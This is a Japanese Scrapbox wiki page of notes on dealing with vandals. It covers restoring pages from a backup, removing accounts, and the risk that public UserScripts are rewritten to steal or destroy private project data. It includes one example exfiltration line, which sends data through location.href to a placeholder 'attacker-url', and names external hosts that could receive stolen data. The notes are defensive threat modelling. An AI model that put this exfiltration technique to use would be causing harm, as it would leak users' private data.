Scrapboxで荒らしに対処する方法
2020-11-26 現時点で行える方法
荒らされたページをback upから復元する
1. jsonから該当するページのみを抽出する
簡単に抽出できるtoolを作ったほうがよさそう
2. import用jsonに変換
3. 上書きimport
overwrittenにチェックを入れる
復元後にまた荒らしが荒らしてきたら意味がない
該当accountを削除する
特定個人による荒らしを止めることができる
accountを特定する必要がある
荒らしが再度参加するのを防ぐ
reset後のリンクを公開したら、また荒らしが入ってくる可能性がある
まず荒らしに気付かないといけない
巧妙な荒らしの場合はこれがかなり困難だと思う
小さな改変をされたら違和感を感じたしてhistoryからユーザー名を見ることでしか判別できない
そもそもhistoryに編集したユーザーがでないこともある
commit logをたどれば行けそう?
ページが削除された場合は気付けるか?
荒らしについて考え始めると公開プロジェクトに置いてあるUserScriptも危険かもしれない
いつの間にか「プライベートプロジェクトの全ページをダンプしてどっかに送信する」スクリプトに書き換えられるとか
scrapbox.io以外のdomainにはfetchできないのでそこまでまずくはないと思います
ただ以下の方法なら外部サイトに送信できる
cdnjsで外部に送信できるlibraryを探す
てかcdnjs経由でも外部に送信できるのかな
storage.googleapis.comにscriptを置く
これが一番危険か
tempermonkeyに外部へ送信するscriptを置く
これで攻撃するのはちょっと無理がある
攻撃対象にscriptを自らinstallして貰う必要がある
バレても良いならそれこそlocation.href = "http://attacker-url#" + dataみたいな力技で送れそう
約2MBまではこの方法で別ドメインのスクリプトに情報を渡せるのかな
CSPがあっても、やろうと思えば邪悪になれるんだなあ まだどのブラウザにもサポートされてないみたいだけど仕様としてはあるみたい
ただ正規のaタグとは別に邪悪なaタグを挿入(または改変)されたのを識別できなさそうなので更に工夫が必要そう
確か特定の文字列だけをDOMに挿入できるようにする機構があったはず
そもそもCSPもUserScriptの想定されてなさそう
コピペするだけで、それを読み込んだUserのprojectを一瞬で闇に葬りされる
防衛策としてはこんなとこか
この防衛策だけでも十分効果あるな